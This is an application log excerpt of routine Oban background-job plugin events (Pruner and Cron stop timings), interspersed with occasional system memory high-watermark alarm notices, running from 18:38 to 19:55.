{"source":"oban","duration":1806,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:38:00.645 [info] {"source":"oban","duration":558,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:38:07.834 [info] {"source":"oban","duration":3329,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:38:37.837 [info] {"source":"oban","duration":2060,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:39:00.646 [info] {"source":"oban","duration":368,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:39:07.839 [info] {"source":"oban","duration":1234,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:39:37.841 [info] {"source":"oban","duration":1327,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:40:00.647 [info] {"source":"oban","duration":400,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:40:07.844 [info] {"source":"oban","duration":1970,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:40:37.846 [info] {"source":"oban","duration":1445,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:41:00.648 [info] {"source":"oban","duration":397,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:41:07.848 [info] {"source":"oban","duration":1280,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:41:37.851 [info] {"source":"oban","duration":1967,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:42:00.649 [info] {"source":"oban","duration":576,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:42:07.854 [info] {"source":"oban","duration":2015,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:42:37.856 [info] {"source":"oban","duration":1907,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:43:00.650 [info] {"source":"oban","duration":537,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:43:07.860 [info] {"source":"oban","duration":1995,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:43:37.863 [info] {"source":"oban","duration":2139,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:44:00.651 [info] {"source":"oban","duration":637,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:44:07.866 [info] {"source":"oban","duration":2016,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:44:37.869 [info] {"source":"oban","duration":2200,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:45:00.654 [info] {"source":"oban","duration":1256,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:45:07.871 [info] {"source":"oban","duration":1316,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:45:37.873 [info] {"source":"oban","duration":1264,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:46:00.657 [info] {"source":"oban","duration":1246,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:46:07.876 [info] {"source":"oban","duration":2212,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:46:37.884 [info] {"source":"oban","duration":7230,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:47:00.659 [info] {"source":"oban","duration":676,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:47:07.886 [info] {"source":"oban","duration":1473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:47:37.888 [info] {"source":"oban","duration":1632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:48:00.660 [info] {"source":"oban","duration":588,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:48:07.890 [info] {"source":"oban","duration":1377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:48:37.893 [info] {"source":"oban","duration":2016,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:49:00.661 [info] {"source":"oban","duration":360,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:49:07.896 [info] {"source":"oban","duration":1771,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:49:37.900 [info] {"source":"oban","duration":2610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:50:00.663 [info] {"source":"oban","duration":1529,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:50:07.903 [info] {"source":"oban","duration":2615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:50:37.910 [info] {"source":"oban","duration":5134,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:51:00.666 [info] {"source":"oban","duration":1011,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:51:07.913 [info] {"source":"oban","duration":2000,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:51:37.917 [info] {"source":"oban","duration":3357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:52:00.668 [info] {"source":"oban","duration":690,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:52:07.919 [info] {"source":"oban","duration":1769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:52:37.922 [info] {"source":"oban","duration":1557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:53:00.669 [info] {"source":"oban","duration":534,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:53:07.924 [info] {"source":"oban","duration":1257,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:53:37.926 [info] {"source":"oban","duration":1530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:54:00.670 [info] {"source":"oban","duration":641,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:54:07.928 [info] {"source":"oban","duration":1813,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:54:37.931 [info] {"source":"oban","duration":1623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:55:00.671 [info] {"source":"oban","duration":332,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:55:07.933 [info] {"source":"oban","duration":1882,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:55:37.936 [info] {"source":"oban","duration":1784,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:56:00.672 [info] {"source":"oban","duration":670,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:56:07.939 [info] {"source":"oban","duration":1436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:56:37.942 [info] {"source":"oban","duration":1983,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:57:00.673 [info] {"source":"oban","duration":739,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:57:07.944 [info] {"source":"oban","duration":1471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:57:37.947 [info] {"source":"oban","duration":2372,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:58:00.675 [info] {"source":"oban","duration":419,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:58:07.949 [info] {"source":"oban","duration":1821,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:58:37.952 [info] {"source":"oban","duration":1266,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:59:00.676 [info] {"source":"oban","duration":448,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:59:07.954 [info] {"source":"oban","duration":1006,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:59:37.959 [info] {"source":"oban","duration":3807,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:00:00.678 [info] {"source":"oban","duration":745,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:00:07.962 [info] {"source":"oban","duration":1710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:00:37.965 [info] {"source":"oban","duration":2066,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:01:00.680 [info] {"source":"oban","duration":517,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:01:07.967 [info] {"source":"oban","duration":1736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:01:16.770 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 19:01:37.970 [info] {"source":"oban","duration":2851,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:02:00.681 [info] {"source":"oban","duration":534,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:02:07.973 [info] {"source":"oban","duration":1294,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:02:37.976 [info] {"source":"oban","duration":2373,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:03:00.682 [info] {"source":"oban","duration":471,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:03:07.978 [info] {"source":"oban","duration":1500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:03:37.981 [info] {"source":"oban","duration":2358,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:04:00.683 [info] {"source":"oban","duration":543,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:04:07.983 [info] {"source":"oban","duration":1306,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:04:37.987 [info] {"source":"oban","duration":2901,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:05:00.685 [info] {"source":"oban","duration":1028,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:05:07.990 [info] {"source":"oban","duration":2094,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:05:16.791 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 19:05:37.992 [info] {"source":"oban","duration":1629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:06:00.686 [info] {"source":"oban","duration":697,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:06:07.999 [info] {"source":"oban","duration":6544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:06:16.794 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 19:06:38.001 [info] {"source":"oban","duration":1562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:07:00.688 [info] {"source":"oban","duration":631,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:07:08.004 [info] {"source":"oban","duration":2381,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:07:38.006 [info] {"source":"oban","duration":1426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:08:00.690 [info] {"source":"oban","duration":1416,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:08:08.010 [info] {"source":"oban","duration":3663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:08:38.013 [info] {"source":"oban","duration":1876,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:09:00.692 [info] {"source":"oban","duration":466,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:09:08.017 [info] {"source":"oban","duration":3058,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:09:38.022 [info] {"source":"oban","duration":4149,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:10:00.693 [info] {"source":"oban","duration":585,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:10:08.025 [info] {"source":"oban","duration":2268,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:10:38.028 [info] {"source":"oban","duration":2486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:11:00.694 [info] {"source":"oban","duration":658,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:11:08.030 [info] {"source":"oban","duration":963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:11:16.821 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 19:11:38.033 [info] {"source":"oban","duration":1906,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:12:00.696 [info] {"source":"oban","duration":323,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:12:08.035 [info] {"source":"oban","duration":1804,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:12:38.038 [info] {"source":"oban","duration":1214,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:13:00.697 [info] {"source":"oban","duration":345,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:13:08.040 [info] {"source":"oban","duration":1507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:13:38.042 [info] {"source":"oban","duration":1879,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:14:00.698 [info] {"source":"oban","duration":621,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:14:08.046 [info] {"source":"oban","duration":2449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:14:38.048 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:15:00.699 [info] {"source":"oban","duration":490,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:15:08.050 [info] {"source":"oban","duration":1374,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:15:38.052 [info] {"source":"oban","duration":1621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:16:00.700 [info] {"source":"oban","duration":423,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:16:08.055 [info] {"source":"oban","duration":2497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:16:38.057 [info] {"source":"oban","duration":1703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:17:00.701 [info] {"source":"oban","duration":317,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:17:08.061 [info] {"source":"oban","duration":3465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:17:38.064 [info] {"source":"oban","duration":1705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:18:00.702 [info] {"source":"oban","duration":486,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:18:08.067 [info] {"source":"oban","duration":2090,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:18:38.070 [info] {"source":"oban","duration":2286,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:19:00.704 [info] {"source":"oban","duration":771,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:19:08.072 [info] {"source":"oban","duration":1717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:19:38.075 [info] {"source":"oban","duration":2596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:20:00.705 [info] {"source":"oban","duration":363,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:20:08.077 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:20:38.080 [info] {"source":"oban","duration":2070,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:21:00.706 [info] {"source":"oban","duration":578,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:21:08.082 [info] {"source":"oban","duration":1551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:21:38.085 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:22:00.709 [info] {"source":"oban","duration":1474,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:22:08.088 [info] {"source":"oban","duration":1946,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:22:38.090 [info] {"source":"oban","duration":1036,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:23:00.711 [info] {"source":"oban","duration":759,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:23:08.093 [info] {"source":"oban","duration":1883,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:23:38.095 [info] {"source":"oban","duration":997,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:24:00.714 [info] {"source":"oban","duration":916,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:24:08.097 [info] {"source":"oban","duration":1569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:24:38.099 [info] {"source":"oban","duration":1445,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:25:00.716 [info] {"source":"oban","duration":583,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:25:08.102 [info] {"source":"oban","duration":2557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:25:38.105 [info] {"source":"oban","duration":2098,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:26:00.718 [info] {"source":"oban","duration":586,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:26:08.107 [info] {"source":"oban","duration":1431,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:26:38.109 [info] {"source":"oban","duration":1846,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:27:00.719 [info] {"source":"oban","duration":368,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:27:08.114 [info] {"source":"oban","duration":3152,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:27:38.117 [info] {"source":"oban","duration":2082,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:28:00.720 [info] {"source":"oban","duration":606,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:28:08.120 [info] {"source":"oban","duration":2526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:28:38.123 [info] {"source":"oban","duration":1727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:29:00.722 [info] {"source":"oban","duration":537,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:29:08.125 [info] {"source":"oban","duration":1647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:29:38.128 [info] {"source":"oban","duration":2042,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:30:00.723 [info] {"source":"oban","duration":405,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:30:08.130 [info] {"source":"oban","duration":1765,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:30:38.133 [info] {"source":"oban","duration":1745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:31:00.725 [info] {"source":"oban","duration":1078,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:31:08.136 [info] {"source":"oban","duration":1360,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:31:38.138 [info] {"source":"oban","duration":1711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:32:00.726 [info] {"source":"oban","duration":444,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:32:08.140 [info] {"source":"oban","duration":1624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:32:38.142 [info] {"source":"oban","duration":1527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:33:00.727 [info] {"source":"oban","duration":440,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:33:08.146 [info] {"source":"oban","duration":3674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:33:38.149 [info] {"source":"oban","duration":2173,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:34:00.728 [info] {"source":"oban","duration":374,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:34:08.151 [info] {"source":"oban","duration":1684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:34:38.156 [info] {"source":"oban","duration":4483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:35:00.729 [info] {"source":"oban","duration":553,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:35:08.158 [info] {"source":"oban","duration":1575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:35:38.160 [info] {"source":"oban","duration":1779,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:36:00.730 [info] {"source":"oban","duration":565,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:36:08.165 [info] {"source":"oban","duration":3173,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:36:38.168 [info] {"source":"oban","duration":2177,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:37:00.732 [info] {"source":"oban","duration":745,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:37:08.170 [info] {"source":"oban","duration":1289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:37:38.172 [info] {"source":"oban","duration":1280,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:38:00.733 [info] {"source":"oban","duration":536,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:38:08.174 [info] {"source":"oban","duration":1268,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:38:38.177 [info] {"source":"oban","duration":2022,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:39:00.735 [info] {"source":"oban","duration":1096,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:39:08.179 [info] {"source":"oban","duration":1142,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:39:38.181 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:40:00.736 [info] {"source":"oban","duration":681,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:40:08.183 [info] {"source":"oban","duration":1785,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:40:38.188 [info] {"source":"oban","duration":2657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:41:00.737 [info] {"source":"oban","duration":363,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:41:08.190 [info] {"source":"oban","duration":1505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:41:38.193 [info] {"source":"oban","duration":1359,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:42:00.738 [info] {"source":"oban","duration":542,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:42:08.197 [info] {"source":"oban","duration":1891,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:42:38.200 [info] {"source":"oban","duration":2717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:43:00.739 [info] {"source":"oban","duration":430,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:43:08.203 [info] {"source":"oban","duration":1837,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:43:38.206 [info] {"source":"oban","duration":1793,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:44:00.740 [info] {"source":"oban","duration":667,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:44:08.209 [info] {"source":"oban","duration":1225,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:44:38.211 [info] {"source":"oban","duration":1582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:45:00.742 [info] {"source":"oban","duration":471,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:45:08.213 [info] {"source":"oban","duration":1322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:45:38.216 [info] {"source":"oban","duration":2233,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:46:00.743 [info] {"source":"oban","duration":387,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:46:08.218 [info] {"source":"oban","duration":1382,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:46:38.220 [info] {"source":"oban","duration":1599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:47:00.744 [info] {"source":"oban","duration":412,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:47:08.222 [info] {"source":"oban","duration":1680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:47:38.224 [info] {"source":"oban","duration":1304,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:48:00.745 [info] {"source":"oban","duration":374,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:48:08.226 [info] {"source":"oban","duration":1282,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:48:38.229 [info] {"source":"oban","duration":2161,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:49:00.746 [info] {"source":"oban","duration":815,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:49:08.231 [info] {"source":"oban","duration":1404,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:49:38.234 [info] {"source":"oban","duration":2443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:50:00.748 [info] {"source":"oban","duration":389,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:50:08.236 [info] {"source":"oban","duration":1137,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:50:38.238 [info] {"source":"oban","duration":1645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:51:00.750 [info] {"source":"oban","duration":931,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:51:08.241 [info] {"source":"oban","duration":1953,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:51:38.244 [info] {"source":"oban","duration":2555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:52:00.751 [info] {"source":"oban","duration":390,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:52:08.251 [info] {"source":"oban","duration":4782,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:52:38.255 [info] {"source":"oban","duration":2892,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:53:00.752 [info] {"source":"oban","duration":559,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:53:08.257 [info] {"source":"oban","duration":1581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:53:38.260 [info] {"source":"oban","duration":2654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:54:00.754 [info] {"source":"oban","duration":990,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:54:08.262 [info] {"source":"oban","duration":1530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:54:38.264 [info] {"source":"oban","duration":1546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:55:00.755 [info] {"source":"oban","duration":445,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:55:08.266 [info] {"source":"oban","duration":1726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:55:38.268 [info] 